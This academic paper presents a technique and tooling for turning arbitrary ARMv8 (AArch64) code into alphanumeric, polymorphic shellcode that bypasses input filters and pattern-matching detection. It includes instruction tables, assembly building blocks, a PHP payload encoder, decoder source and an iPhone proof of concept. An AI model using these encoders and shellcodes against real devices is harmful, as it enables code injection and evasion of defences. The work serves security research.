ARMv8 Shellcodes from 'A' to 'Z' by Barral, Hadrien et al.
ARMv8 Shellcodes from ‘A’ to ‘Z’
Hadrien Barral, Houda Ferradi, Re´mi Ge´raud, Georges-Axel Jaloyan and David Naccache
E´cole normale supe´rieure – Computer Science Department
45 rue d’Ulm
75230 Paris cedex 05, France
firstname.lastname@ens.fr
August 12, 2016
Abstract
We describe a methodology to automatically turn arbitrary ARMv8 programs into alphanumeric
executable polymorphic shellcodes. Shellcodes generated in this way can evade detection and bypass filters,
broadening the attack surface of ARM-powered devices such as smartphones.
1 Introduction
Much effort has been undertaken in recent years to secure smartphones and tablets. For such devices, software
security is a challenge: on the one hand, most software applications are now developed by third-parties; on
the other hand, defenders are restrained as to which watchdogs to install, and how efficient they can be,
given these devices’ restricted computational capabilities and limited battery life.
In particular, it is important to understand how countermeasures fare against one of the most common
security concerns: memory safety issues. Using traditional buffer overflow exploitation techniques, an
attacker may exploit a vulnerability to successfully execute arbitrary code, and take control of the device [14].
The relatively weak physical defenses of mobile devices tend to make memory attacks a rather reliable
operation [6].
In particular, an attack program may be self-contained in the form of a shellcode – a short string sent
to the device, where a vulnerability is used to write a malicious program into memory and run it. This
would enable an opponent to gain control of the device by opening a shell, or alter memory regardless of
the security policy. In shellcode form, an attack is easy to distribute and weaponize, and many ready-made
shellcodes are available with frameworks such as Metasploit [11].
To launch the attack, the opponent sends the shellcode to a vulnerable application, either by direct input,
or via a remote client. However, before doing so the attacker might have to overcome a number of difficulties:
if the device has a limited keyboard for instance, some characters might be hard or impossible to type; or
filters may restrict the available character set of remote requests for instance. A well-known situation where
this happens is input forms on web pages, where input validation and escaping is performed by the server.
This paper describes an approach allowing to compile arbitrary shellcodes into executable code formed
from a very limited subset of the ASCII characters. We focus on alphanumeric shellcodes, and target
the ARM-v8A architecture, to illustrate our technique. More specifically, we will work with the AArch64
instruction set, which powers the Exynos 7420 (Samsung Galaxy S6), Project Denver (Nexus 9), ARM
Cortex A53 (Raspberry Pi 3), A57 (Snapdragon 810), A72, Qualcomm Kryo (Snapdragon 818, 820 and 823),
as well as the Apple A7 and A8 ARMv8-compatible cores (Apple iPhone 5S/6).
1.1 Prior and related work
The idea to write alphanumeric executable code first stemmed as a response to anti-virus or hardening
technologies that were based on the misconception that executable code is not ASCII-printable. Eller [7]
described the first ASCII-printable shellcodes for Intel platforms to bypass primitive buffer-overflow protection
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techniques. [7] was shortly followed by RIX [17] on the IA32 architecture. Mason et al. [10] designed shellcodes
using only English words to bypass IDS filters. Obscou [13] managed to obtain Unicode-proof shellcodes that
work despite the limitation that no zero-character can appear in the middle of a standard C string. All the
above constructions built on existing shellcode writing approaches and required manual fine-tuning.
Basu et al. [2] developed an algorithm for automated shellcode generation targeting the x86 architecture.
The Metasploit project provides the msfvenom utility, which can turn arbitrary x86 programs into alphanu-
meric x86 code. Both UPX1 and msfvenom can generate self-decrypting ARM executables, yet neither provide
alphanumeric encodings for this platform.
More recently, Younan et al. generated alphanumeric shellcodes for the ARMv5 architecture [21, 22].
They provide a proof that the subset of alphanumeric commands is Turing-complete, by translating all
BF [5,8, 16] commands into alphanumeric ARM code snippets.
1.2 Our contribution
This paper describes, to the best of the authors’ knowledge, the first program turning arbitrary ARMv8
code into alphanumeric executable code. The technique is generic and may well apply to other architectures.
Besides solving a technical challenge, our tools produce valid shellcodes that can be used to try and take
control of a device.
Our global approach is the following: we first identify a subset Σ of minimal Turing-complete alphanumeric
instructions, and use Σ to write an in-memory decoder. The payload is encoded offline (with an algorithm
that only outputs alphanumeric characters), and is integrated into the decoder. The whole package is
therefore an alphanumeric program, and allows for arbitrary code execution. All source files are provided in
the appendices.
2 Preliminaries
2.1 Notations and definitions
Throughout this paper, a string will be defined as alphanumeric if it only contains upper-case or lower-case
letters of the English alphabet, and numbers from 0 to 9 included. When writing alphanumeric code, spaces
and return characters are added for reading convenience but are not part of the actual code. Words are
32-bit long. We call polymorphic, a code that can be mutated using a polymorphic engine into another one
with the same semantics.
When dealing with numbers we use the following convention: plain numbers are in base 10, numbers
prefixed by 0x are in hexadecimal format, and numbers prefixed by 0b are in binary format. The little-endian
convention is used throughout this paper for alphanumeric code, to remain consistent with ARMv8 internals.
However, registers will be considered as double-words or words; each 32-bit register W = WhighWlow is split into
a most significant 16 bits half-word Whigh and a least significant 16 bits Wlow.
S[i] denotes i-th byte2 of a string S.
2.2 Vulnerable applications and platforms
To attempt a buffer overflow attack, we assume that there exists a vulnerable application on the target
device. Smartphone applications are good candidates because (1) they can easily be written in languages
that do not check array bounds; and (2) they can be spread to many users via application marketplaces.
Note that on Android platforms, applications are often written in Java which implements implicit bound
checking. At first glance it may seem that this protects Java applications from buffer overflow attacks.
However, it is possible to access C/C++ code libraries via the Java Native Interface (JNI), for performance
reasons. Such vulnerabilities were exposed in the JDK [19].
1See http://upx.sf.net.
2Each byte is 8 bits long.
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2.3 ARMv8 AArch64
AArch64 is a new ARM-v8A instruction set. AArch64 features 32 general purpose 64-bit registers Xi
(0 ≤ i < 32) and 32 registers for floating-point numbers. All instructions are 32-bit long. The 32 LSBs of each
Xi is a word denoted by Wi. These words are used directly in many instructions. Younan et al. [22] use the
fact that, in AArch32 (32-bits ARM architecture), almost all instructions can be executed conditionally via a
condition code checked against the CPSR register. In AArch64, this is not the case anymore. Only specific
instructions, such as branches, can be made conditional: this renders Younan et al.’s approach inoperant.
Each instruction is made of an opcode and zero or more operands, where opcode gives the instruction
to perform and operands may consist in addresses, register numbers, or constants. As an example, the
instruction:
ldr x16 , PC+0 x60604
is assembled as 0x583030303 and decoded as follows [1]:
0 1 0 1 1 0 0 0 imm19 Xt
Bits 0 to 4 encode the reference number of a 64-bit register Xt. Bits 5 to 23 encode the immediate value
imm19, which is a relative offset counted in words (a single word is 32-bit long).
An interesting feature is that immediate values and registers often follow each other in instructions, as is
the case here for imm19 and Xt. This is a real advantage for creating alphanumeric shellcodes, as it indicates
that instructions who share a prefix are probably related. For instance 000X and 100X turn out to decode
respectively into
ldr x16 , PC+0 x60604
and
ldr x17 , PC+0 x60604
Thus it is relatively easy to modify the operands of an existing instruction.
2.4 Shellcodes
A shellcode is a set of machine code instructions injected into a running program. To that end, an attacker
would for instance exploit a buffer overflow vulnerability. The attacker could insert executable code into the
stack, and control the current stack frame’s return address. As a result, when the victim program’s current
function returns, the attacker’s code is executed. Other strategies might be employed to achieve that goal,
but the stack frame hack is well known and we will use for simplicity.
It is common practice to flood the buffer with a nopsled, i.e. a sequence of useless operations, which has
the added benefit of allowing some imprecision in the return address.
Shellcodes may execute directly, or employ some form of evasion strategy such as filter evasion, encryption
or polymorphism. The latter allows having a large number of different shellcodes that have the same effect,
which decreases their traceability. In these cases the payload must be encoded in a specific way, and decode
itself at runtime.
In this work, we encode the payload in a filter-friendly way and equip it with a decoder (or vector). The
vector itself must be filter-friendly, and is usually handwritten.
Hence designing a shellcode is a tricky art.
3 Building the Instruction Set
Some ARM instructions are alphanumeric. To find these, we generated all 14,776,336 alphanumeric 32-
bit words using the custom-made program provided in Appendix A. This gave 4-byte values that were
then tentatively disassembled using objdump4 for the AArch64 architecture, in the hope that these chunks
correspond to valid and interesting instructions.
For instance, the word 000X corresponds to an ldr instruction:
3Which is 01011000001100000011000000110000 in binary. Incidentally, this instruction is alphanumeric and corresponds to
the ASCII string 000X. Note the little endianness of the string.
4We used the options -D --architecture aarch64 --target binary.
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58303030 ldr x16 , PC+0 x60604
Alphanumeric words that do not correspond to any valid instruction (“undefined”) were removed from
our set. For instance, the word 000S is not a valid instruction:
53303030 .inst 0x53303030 ; undefined
Valid instructions were finally classified as pertaining to data processing, branch, load/store, etc. At this
step we established a first list A0 of all valid alphanumeric AArch64 instructions.
From A0, we constructed a set A1 of opcodes for which there exists at least one operand instance making
it alphanumeric. A1 is given in Appendix B.
Finally, we extracted from A1 only those instructions which we could use to prototype higher-level
constructs. This final list is called Amax.
3.1 Data processing
The following instructions belong to Amax:
adds (immediate) 32-bit
sub (immediate) 32-bit
subs (immediate) 32-bit
bfm 32-bit
ubfm 32-bit
orr (immediate) 32-bit
eor (immediate) 32-bit
ands (immediate) 32-bit
adr
sub 32 extended reg
subs 32 extended reg
sub 32 shifted reg
subs 32 shifted reg
ccmp (immediate)
ccmp (register)
eor (shifted register) 32-bit
eon (shifted register) 32-bit
ands (shifted register) 32-bit
bics (shifted register) 32-bit
The constraint that the sf bit must be set to 0 restricts us to using only the 32-bit variant of most instructions.
This makes modifying the upper 32 bits of a register harder.
3.2 Branches
Only conditional jumps are available:
cbz 32-bit
cbnz 32-bit
b.cond
tbz
tbnz
It is quite easy to turn a conditional jump into a non-conditional jump. However, only tbz and its opposite
tbnz have a realistic use for loops. The three other instructions require an offset too large to be useful.
3.3 Exceptions and system
Neither exceptions nor system instructions are available. This means that we cannot use syscalls, nor clear the
instruction or data cache. This makes writing higher-level code challenging and implementation-dependent.
3.4 Load and stores
Many load and stores instructions can be alphanumeric. This requires fine tuning to achieve the desired
result, as limitations on the various load and store instructions are not consistent across registers.
4
3.5 SIMD, floating point and crypto
No floating point or cryptographic instruction is alphanumeric. Some SIMD are available, but the instructions
moving data between SIMD and general purposes registers are not alphanumeric. This limits the use of such
instructions to very specific cases.
Therefore, we did not include any of these instructions in Amax.
4 Higher-level constructs
A real-world program may need information about the state of registers and memory, including the program
counter and processor flags. This information is not immediately obtainable using Amax. We overcome this
difficulty by providing higher-level constructs, which can then be combined to form more complex programs.
Indeed it turns out that Amax is Turing-complete. Those higher-level constructs also make easier to build
polymorphic programs, given that several low-level implementations are available for each construct.
4.1 Registers operations
4.1.1 Zeroing a register
There are multiple ways of setting an AArch64 register to zero. One of them which is alphanumeric and
works well on many registers consists in using two and instructions with shifted registers. However, we only
manage to reset the register’s 32 LSBs. This becomes an issue when dealing with addresses for instance.
As an example, to reset w17low, execute:
ands w17 , w17 , w17 , lsr #16
ands w17 , w17 , w17 , lsr #16
This corresponds to the code 1BQj1BQj. The following table summarizes the zeroing operations that we can
perform:
a alow ← 0 lsr
w2 BlBjBlBj 27
w3 cdCjcdCj 25
w10 JAJjJAJj 16
w11 kAKjkAKj 16
w17 1BQj1BQj 16
w18 RBRjRBRj 16
w19 sBSjsBSj 16
w25 9CYj9CYj 16
w26 ZCZjZCZj 16
4.1.2 Loading arbitrary values into a register
Loading a value into a register is the cornerstone of any program. Unfortunately there is no direct way to
perform a load directly using only alphanumeric instructions. We hence used an indirect strategy. Using
adds and subs with the available immediate constants, we can increment and decrement registers. One
of the constraints is that this immediate constant must be quite large. Thus, we selected two consecutive
constants, using an adds/subs pair. By repeating this operation we can set registers to arbitrary values.
For instance, to add 1 to the register w11 we can use:
adds w11 , w11 , #0xc1a
subs w11 , w11 , #0xc19
which is encoded by ki01ke0q. And similarly to subtract 1:
subs w11 , w11 , #0xc1a
adds w11 , w11 , #0xc19
which is encoded by ki0qke01.
The following table summarizes the available increment and decrement operations:
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a a← a+ 1 a← a− 1
w2 Bh01Bd0q Bh0qBd01
w3 ch01cd0q ch0qcd01
w10 Ji01Je0q Ji0qJe01
w11 ki01ke0q ki0qke01
w17 1j011f0q 1j0q1f01
w18 Rj01Rf0q Rj0qRf01
w19 sj01sf0q sj0qsf01
w25 9k019g0q 9k0q9g01
w26 Zk01Zg0q Zk0qZg01
We manually selected registers and constants to achieve the desired value. However, it would be much more
efficient to solve a knapsack problem, if one were to do this at a larger scale. As we will see later on, the
values above are sufficient for our needs.
4.1.3 Moving a register
Moving a register A into B can be performed in two steps: first we set the destination register to zero, and
then we xor it with the source register. The xor operation is described in Section 4.2.1.
Another method for moving w11 into w16 is the following:
adds w17 , w11 , #0xc10
subs w16 , w17 , #0xc10
which is encoded by qA010B0q. We will later use this approach to design a logical and operation.
4.2 Bitwise operations
4.2.1 Exclusive OR
The xor operation B ← A⊕B can be performed as follows: We split the two input registers into their higher
and lower half-words, and use a temporary register C.
C ← 0
Chigh ← Chigh ⊕ ¬Alow
Clow ← Clow ⊕ ¬Ahigh
Bhigh ← Bhigh ⊕ ¬Clow = Bhigh ⊕Ahigh
Blow ← Blow ⊕ ¬Chigh = Blow ⊕Alow
This gives the following code:
eor (xor) b:= a eor b,
c = w17 a = w16 -25 b= w18 -25
c:=0
eon c c a lsl 16
eon c c a lsr 16
eon b b c lsl 16
eon b b c lsr 16
For c = w17, the following instructions can be used:
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a b b← a⊕ b
w16 w16 1B0J1BpJRB1JRBqJ
w16 w18 1B0J1BpJRB1JRBqJ
w16 w19 1B0J1BpJsB1JsBqJ
w16 w25 1B0J1BpJ9C1J9CqJ
w16 w26 1B0J1BpJZC1JZCqJ
w18 w19 1B2J1BrJsB1JsBqJ
w18 w25 1B2J1BrJ9C1J9CqJ
w18 w26 1B2J1BrJZC1JZCqJ
w19 w25 1B3J1BsJ9C1J9CqJ
w19 w26 1B3J1BsJZC1JZCqJ
w20 w25 1B4J1BtJ9C1J9CqJ
w20 w26 1B4J1BtJZC1JZCqJ
w21 w25 1B5J1BuJ9C1J9CqJ
w21 w26 1B5J1BuJZC1JZCqJ
w22 w25 1B6J1BvJ9C1J9CqJ
w22 w26 1B6J1BvJZC1JZCqJ
w23 w25 1B7J1BwJ9C1J9CqJ
w23 w26 1B7J1BwJZC1JZCqJ
w24 w25 1B8J1BxJ9C1J9CqJ
w24 w26 1B8J1BxJZC1JZCqJ
w25 w26 1B9J1ByJZC1JZCqJ
4.2.2 Logical NOT
We use the fact that ¬b = b⊕ (−1) which relies on negative number being represented in the usual two’s
complement format. Thus we can use the operations described previously:
C ← 0
C ← C − 1
B ← C ⊕B
4.2.3 Logical AND
The and operation is more intricate and requires three temporary registers C, E, and F . We manage to do
it by anding the lower and the upper parts of the two operands into a third register as follows:
D ← 0
C ← 0
E ← 0
F ← 0
Chigh ← Chigh ⊕ ¬Blow
Ehigh ← Ehigh ⊕ ¬Alow
Flow ← Flow ⊕ ¬Ehigh = Alow
Dlow ← Flow ∧ ¬Chigh = Alow ∧Blow
C ← 0
E ← 0
F ← 0
Clow ← Clow ⊕ ¬Bhigh
Elow ← Elow ⊕ ¬Ahigh
Fhigh ← Fhigh ⊕ ¬Ehigh = Ahigh
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Dhigh ← Fhigh ∧ ¬Clow = Ahigh ∧Bhigh
Which corresponds to the assembly code:
and: d:= a and b
c,d,e,f:=0
eon c c b lsl 16
eon e e a lsl 16
eon f f e lsr 16
bics d f c lsr 16
c,e,f:=0
eon c c b lsr 16
eon e e a lsr 16
eon f f e lsl 16
bics d f c lsl 16
As an illustration of this technique, let
A← w18, B ← w25, C ← w17,
D ← w11, E ← w19, F ← w26
which corresponds to computing w11← w18 ∧ w25. This gives the following assembly code:
ands w11 , w11 , w11 , lsr #16
ands w11 , w11 , w11 , lsr #16
ands w17 , w17 , w17 , lsr #16
ands w17 , w17 , w17 , lsr #16
ands w19 , w19 , w19 , lsr #16
ands w19 , w19 , w19 , lsr #16
ands w26 , w26 , w26 , lsr #16
ands w26 , w26 , w26 , lsr #16
eon w17 , w17 , w25 , lsl #16
eon w19 , w19 , w18 , lsl #16
eon w26 , w26 , w19 , lsr #16
bics w11 , w26 , w17 , lsr #16
ands w17 , w17 , w17 , lsr #16
ands w17 , w17 , w17 , lsr #16
ands w19 , w19 , w19 , lsr #16
ands w19 , w19 , w19 , lsr #16
ands w26 , w26 , w26 , lsr #16
ands w26 , w26 , w26 , lsr #16
eon w17 , w17 , w25 , lsr #16
eon w19 , w19 , w18 , lsr #16
eon w26 , w26 , w19 , lsl #16
bics w11 , w26 , w17 , lsl #16
This is an alphanumeric program which we can write more compactly as:
kAKjkAKj1BQj1BQjsBSjsBSjZCZjZCZj1B9JsB2J
ZCsJKCqj1BQj1BQjsBSjsBSjZCZjZCZj1ByJsBrJ
ZC3JKC1j
We provide in Appendix C a program generating more instructions of this type.
4.3 Load and Store operations
There are several load and stores instructions available in Amax. We will only focus or ldrb (which loads a
byte into a register) and strb (which stores the low byte of a register into memory).
ldrb is available with the basic addressing mode: ldrb wA, [xP, #n] which loads the byte at address
xP+n into wA. To use this instruction we must use a value of n that makes the whole alphanumeric, but this
is not a truly limiting constraint. Moreover, we can chain different values of n to load consecutive bytes from
memory without modifying xP.
Another addressing mode which can be used is ldrb wA, [xP, wQ, uxtx]. This will extend the 32-bits
register wQ into a 64 bit one, padding the high bits with zeros, which removes the need for an offset.
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As an illustration, we load a byte from the address pointed by x10 and store it to the address pointed by
x11. First, we initialize a temporary register to zero and remove the ldrb offset from x10 using the previous
constructs.
w19← 0
w25← w25− 77
Then, we can actually load and store the byte.
ldrb w25 , [x10 , #77]
strb w25 , [x11 , w19 , uxtw]
These two instructions correspond to the alphanumeric executable code Y5A9yI38.
4.4 Pointer arithmetic
4.4.1 32-bit address case
As we mentioned previously we only control the lower 32 bits of XP with data processing instructions.
Thus, if addresses are in the 4 GB range, we can use the data-instructions seen previously to add 1, load
the next byte, and loop on it.
4.4.2 64-bit address case
If the address does not fit into 32 bits, any use of data instructions will clear the 32 upper bits. Thus, we
need a different approach.
We use another addressing mode which reads a byte from the source register, and adds a constant to it.
This addition is performed over 64-bits. As an example, we read a byte from x10+1 and increment x10:
ldrb w18 , [x10], #100
ldrb w18 , [x10], #54
ldrb w18 , [x10], #-153
The same limitations apply to strb.
4.5 Branch operations
Amax contains several branch instructions, however there are severe restrictions on the minimum offset we can
use, since this offset must be alphanumeric. For this reason we will only use the tbz and tbnz instructions.
The tbz (test and branch if zero) is given three operands: a bit b, a register Rt and a 14-bit immediate
value imm14. If the bth bit of register Rt is equal to zero, then tbz jumps to an offset imm14.
There is a tradeoff here since we cannot easily control individual bits. We chose the smallest offset value,
at the expense of restricting our choice for Rt and b. tbnz works symmetrically and jumps if the tested bit
equals 1.
We can turn tbz into an unconditional jump by using a register that has been set to zero. Conditional
jumps require that we control a specific register bit, which is trickier.
The smallest forward jump offset we can encode is by 1540 bytes, and the smallest backward jump offset
is 4276 bytes.
The maximal offset reachable with any of these instructions is less than 1 MB.
5 Fully Alphanumeric AArch64
The building blocks we described so far could be used to assemble complex programs from the bottom up.
However, even though many building blocks could be designed in theory, in practice we get quickly limited
by branching, system instructions and function calls: Turing-completeness is not enough.
We circumvent this limitation by first encoding the payload P as an alphanumeric string. Decoding is
performed in-memory by a vector program written only with instructions drawn from Amax, leveraging the
higher-level constructs of the previous section. Finally, the decoded payload is executed.
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The encoder E was implemented in PHP, with the corresponding decoder D implemented as part of the
vector with instructions from Amax only. Finally, we implemented a linker LD that embeds the encoded
payload in D. This operation results in an alphanumeric program A← LD(E(P )).
5.1 The Encoder
Since we have 62 alphanumeric characters, it is theoretically possible to encode almost 6 bits per alphanumeric
byte. However, to keep D short, we only encode 4 bits per alphanumeric byte. This spreads each binary byte
of the payload P over 2 alphanumeric consecutive characters.
E splits the upper and lower part of the input byte P [i] and adds 0x40 to each nibble:
a[2i]← (b[i] & 0xF) + 0x40
a[2i+ 1]← (b[i] 4) + 0x40
Zero is encoded in a special way: the above encoding would give 0x40 i.e. the character ‘@’, which does not
belong to our alphanumeric character set. We add 0x10 to the previously computed a[k] to transform it into
a 0x50 which corresponds to ‘P’.
The encoder’s source code is provided in Appendix D.
5.2 The Decoder
Decoding is straightforward, but because D must itself be an alphanumeric program some tricks must be
used. Our solution is to use the following snippet:
/* Input: A and B. Z is 0. Output: B */
eon wA , wZ , wA , lsl #20
ands wB, wB, #0 xFFFF000F
eon wB , wB , wA , lsr #16
The first eon shifts wA 20 bits to the left and negates it, since wZ is zero:
wA2 ← wZ⊕ ¬(wA1  20) = ¬(wA1  20)
The ands is used to keep only the 4 lowest bits of wB. The reason why the pattern 0xFFFF000F is used (rather
than the straightforward 0xF) is that the instruction ands wB, wB, 0xFFFF000F is alphanumeric, whereas
ands wB, wB, 0xF is not.
The last eon performs the following operation: wB is xored with the negation of wA shifted 16 bits right,
thus recovering the 4 upper bits.
wB← wB⊕ ¬(wA2  16)
= wB⊕ ¬(¬(wA1  20) 16)
= wB⊕ (wA1  4)
It is natural to wish D to be as small as possible. However, given that the smallest backward jump
requires an offset of 4276 bytes, D cannot possibly be smaller than 4276 bytes.
5.3 Payload Delivery
The encoded payload is embedded directly in D’s main loop. D will decode the encoded payload until
completion (cf. Figure 1), and will then jumps into the decoded payload (cf. Figure 2).
To implement the main loop we need two jump offsets: one forward offset large enough to jump over the
encoded payload, and one even larger backward offset to return to the decoding loop. The smallest available
backward offset satisfying these constraints is selected, alongside with the largest forward offset smaller than
the chosen backward offset. Extra space is padded with nop-like instructions.
The decoder’s source code is provided in Appendix E.
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Initialisation
Main decoding
loop
Forward jump
Encoded
Payload code
NOPs
Backward jump
Decoded
Payload code
①
②
③
Figure 1: First step: The encoded payload is decoded and placed further down on the stack. Note that (2) is
twice the size of (3).
Initialisation
Main decoding
loop
Forward jump
Encoded
Payload code
NOPs
Backward jump
Decoded
Payload code
①
②
③
Figure 2: Second step: Once the payload is decoded, the decoder calls it.
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5.4 Assembly and machine code
Note that there is no bijection between machine code and assembly. As an example, 0x72304F39 (9O0r) is
disassembled as
ands W25 , W25 , #0 xFFFF000F
but this very instruction, when assembled back, gives 0x72104F39 (9O.r), which is not alphanumeric.
Structurally, 9O0r and 9O.r are equivalent. However, only the latter is chosen by the assembler. Thus,
to ensure that our generated code is indeed alphanumeric we had to put directly this instruction’s word
representation in the assembly code. Using the fact that registers fields are contiguous, simple arithmetic
allowed us to compute the right word directly from the register number.
5.5 Polymorphic shellcode
It is possible to add partial polymorphism to both the vector and the payload using our approach. This
allows the shellcode evading basic pattern matching detection methods [4] but more specific techniques can
be applied here in order to fool more recent IDS [18].
The payload can be mutated using the fact that only the last 4 bits of each byte contains information
about the payload, allowing us to modify the first 4 bytes arbitrarily, as long as the instructions still remain
alphanumeric. This gives a total polymorphism of the payload as shown by the polymorphic engine provided
Appendix G, which mutates each byte into between two and five possibilities. Moreover, the padding following
the payload is also mutated with the same code. The NOP sled can also be made totally polymorphic.
Indeed, a trivial search reveals more than 80 thousands instructions that could be used as NOP instructions
in our shellcode.
The vector is made partially polymorphic by creating different versions of each high level construct.
The two easiest ones being the ones defined in sections 4.1.1 and 4.1.2, which have both been implemented.
Indeed, in order to zero a register, it is possible replace the shift value by anything in the set {16..30} \ {23} .
The same idea can be applied to increasing or decreasing a register, in which the immediate value can be
replaced by any other constant keeping the instruction alphanumeric (the values are in the range 0xc0c -
0xe5c, with some gaps in between). We show as an example a polymorphic engine that mutates the zeroing
a register construct in appendix G. Those two techniques are enough to mutate 9 over 25 instructions of the
decoder, and by counting the NOPs and the payload, we have that 4256 over 4320 bytes of the shellcode are
polymorphic.
6 Experimental results
On ARM, when memory is overwritten, the I-cache is not invalidated. This hampers the execution of
self-rewriting code, and has to be circumvented: we need to flush the I-cache for our shellcode to work.
Unfortunately the dedicated instruction to do that is not alphanumeric5.
More precisely, there are only two situations where this is an issue:
• Execution of the decoder;
• Jump to the decoded payload.
Our concern mostly lies with the second point. Fortunately, it is sufficient that the first instructions be not
in the cache (i.e. that cache be flushed with the first instructions). This enables us to make this shellcode
work on a given ARM core. However, cache management is implementation-dependent when it comes to
details, making our code less portable. In practice, as the L1 cache is split into a data L1 and a instruction
L1, we never ran into a cache coherency issue.
5Alternatively, we could assume we were working on a Linux OS and perform the appropriate syscall, but again this instruction
is not alphanumeric.
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6.1 QEMU
As a proof-of-concept, we tested the code with QEMU [3], disregarding the above discussion on cache issues.
Moreover, as addresses are below the 4 GB barrier, we can easily perform pointer arithmetic. We provide in
Appendix F the output of our tool, where the input is a simple program printing “Hello World!”. The result
can be easily tested using the parameters given in Appendix F.
6.2 DragonBoard 410c
We then moved to real hardware. The DragonBoard 410c [15] is an AArch64-based board with a Snapdragon
410 SoC. This SoC contains ARM Cortex A53 64-bit processor. This processor is widely used (in the
Raspberry Pi 3 among many others) and is thus representative of the AArch64 world.
We installed Debian 8.0 (Jessie) and were successfully able to run a version of our shellcode.
We had no issue with the I-cache: As we do not execute code on the same page we write, the cache
handler does not predict we are going to branch there.
6.3 Apple iPhone
In this work we focused on the Apple iPhone 6 running iOS 8. Most iOS 8 applications are developed
in the memory-unsafe Objective-C language, and recent research seems to indicate the pervasiveness of
vulnerabilities [20] [12], all the more so since a unicode exploit on CoreText6 working on early iOS 8 has been
released, which consists in a corruption of a pointer being then dereferenced.
We build an iPhone application to test our approach. For the sake of credibility, we shaped our scenario
on existing applications that are currently available on the Apple Store. Thus, although we made the
application vulnerable on purpose, we stress that such a vulnerability could realistically be found in the wild.
Namely, the scenario is as follows:
• The application loads some statically compiled scripts, which are based on players parameters
• It also interprets the downloaded scripts (they cannot be compiled per Apple guidelines)
• Downloaded scripts (for example scripts made by users) are sanity-checked (must be printable characters:
blanks + 0x20-0x7E range)
• Thus, there is an array of tuples {typeOfScript, p} where typeOfScript indicates interpreted script
or JIT compiled executable code, and p is a pointer to the aforementioned script or code.
• A subtle bug enables an attacker to assign the wrong type of script in certain cases
• Thus we can force our evil user-script to be considered as executable code instead of interpretable
script.
• Therefore our shellcode gets called as a function directly.
From then on, the decoder retrieves the payload and uses a gadget to change the page permissions from
“write” to “read—exec”7, and executes it.
In this proof-of-concept, our shellcode only changes the return value of a function, displaying an incorrect
string on the screen.
7 Conclusion
We described a methodology as well as a generic framework to turn arbitrary code into an (equivalent)
executable alphanumeric program for ARMv8 platforms. To the best of our knowledge, no such tools are
available for this platform, and up to this point most constructions were only theoretical.
6Also know as the ’effective power’ SMS exploit
7Apple iOS enforces write xor exec.
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Our final construction relies on a fine-grained understanding of ARMv8 specifics, yet the overall strategy
is not restricted to that processor, and may certainly be transposed to address other architectures and
constraints.
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A Source code of Program 1
The following Haskell program generates all the possible combinations of 4 alphanumeric characters, and
saves the result in a file.
n = [[a,b,c,d]|a<-i,b<-i,c<-i,d<-i]
where i = [’0’..’9’]++
[’a’..’z’]++
[’A’..’Z’]
m = concat n
main = writeFile "allalphanum" m
B Alphanumeric Instructions
This appendix describes A1, the set of all AArch64 opcodes that can give alphanumeric instructions for some
operands.
• Data processing instructions:
adds , sub , subs , adr , bics , ands , orr , eor , eon , ccmp
• Load and store instructions
ldr , ldrb , ldpsw , ldnp , ldp , ldrh , ldurb , ldxrh , ldtrb , ldtrh , ldurh , strb , stnp ,
stp , strh
• Branch instructions
cbz , cbnz , tbz , tbnz , b.cond
• Other (SIMD, floating point, crypto...)
cmhi , shl , cmgt , umin , smin , smax , umax , usubw2 , ushl , srshl , sqshl , urshl , uqshl ,
sshl , ssubw2 , rsubhn2 , sqdmlal2 , subhn2 , umlsl2 , smlsl2 , uabdl2 , sabdl2 ,
sqdmlsl2 , fcvtxn2 , fcvtn2 , raddhn2 , addhn2 , fcvtl2 , uqxtn2 , sqxtn2 , uabal2 ,
sabal2 , sri , sli , uabd , sabd , ursra , srsra , uaddlv , saddlv , sqshlu , shll2 , zip2 ,
zip1 , uzp2 , mls , trn2
C Alphanumeric AND
The and operation described in Section 4.2.3 can be automatically generated using the following code. To
abstract register numbers and generate repetitive lines, the source code provided is pre-processed by m4 [9].
This allowed us to easily change a register number without changing every occurrence if we found that a
specific register could not be used.
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divert (-1)
changequote ({,})
define ({LQ},{ changequote(‘,’){dnl}
changequote ({,})})
define ({RQ},{ changequote(‘,’)dnl{
}changequote ({,})})
changecom ({;})
define ({ concat},{$1$2})dnl
define ({A}, 18)
define ({B}, 25)
define ({C}, 17)
define ({D}, 11)
define ({E}, 19)
define ({F}, 26)
define ({WA}, concat(W,A))
define ({WB}, concat(W,B))
define ({WC}, concat(W,C))
define ({WD}, concat(W,D))
define ({WE}, concat(W,E))
define ({WF}, concat(W,F))
divert (0) dnl
ands WD, WD, WD, lsr #16
ands WD, WD, WD, lsr #16
ands WC, WC, WC, lsr #16
ands WC, WC, WC, lsr #16
ands WE, WE, WE, lsr #16
ands WE, WE, WE, lsr #16
ands WF, WF, WF, lsr #16
ands WF, WF, WF, lsr #16
eon WC , WC , WB , lsl #16
eon WE , WE , WA , lsl #16
eon WF , WF , WE , lsr #16
bics WD, WF, WC, lsr #16
ands WC, WC, WC, lsr #16
ands WC, WC, WC, lsr #16
ands WE, WE, WE, lsr #16
ands WE, WE, WE, lsr #16
ands WF, WF, WF, lsr #16
ands WF, WF, WF, lsr #16
eon WC , WC , WB , lsr #16
eon WE , WE , WA , lsr #16
eon WF , WF , WE , lsl #16
bics WD, WF, WC, lsl #16
D Encoder’s Source Code
We give here the encoder’s full source code. This program is written in PHP.
function mkchr($c) {
return(chr(0x40 + $c));
}
$s = file_get_contents(’shellcode.bin.tmp’);
$p = file_get_contents(’payload.bin’);
$b = 0x60; /* Synchronize with pool */
for($i=0; $i <strlen($p); $i++)
{
$q = ord($p[$i]);
$s[$b+2*$i ] = mkchr (($q >> 4) & 0xF);
$s[$b+2*$i+1] = mkchr( $q & 0xF);
}
$s = str_replace(’@’, ’P’, $s);
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file_put_contents(’shellcode.bin’, $s);
E Decoder’s Source Code
We give here the decoder’s full source code. This code is pre-processed by m4 [9] which performs macro
expansion. The payload program to decode has to be be placed at the pool offset.
divert (-1)
changequote ({,})
define ({LQ},{ changequote(‘,’){dnl}
changequote ({,})})
define ({RQ},{ changequote(‘,’)dnl{
}changequote ({,})})
changecom ({;})
define ({ concat},{$1$2})dnl
define ({ repeat}, {ifelse($1, 0, {}, $1, 1, {$2}, {$2
repeat(eval($1 -1), {$2})})})
define ({P}, 10)
define ({Q}, 11)
define ({S}, 2)
define ({A}, 18)
define ({B}, 25)
define ({U}, 26)
define ({Z}, 19)
define ({WA}, concat(W,A))
define ({WB}, concat(W,B))
define ({WP}, concat(W,P))
define ({XP}, concat(X,P))
define ({WQ}, concat(W,Q))
define ({XQ}, concat(X,Q))
define ({WS}, concat(W,S))
define ({WU}, concat(W,U))
define ({WZ}, concat(W,Z))
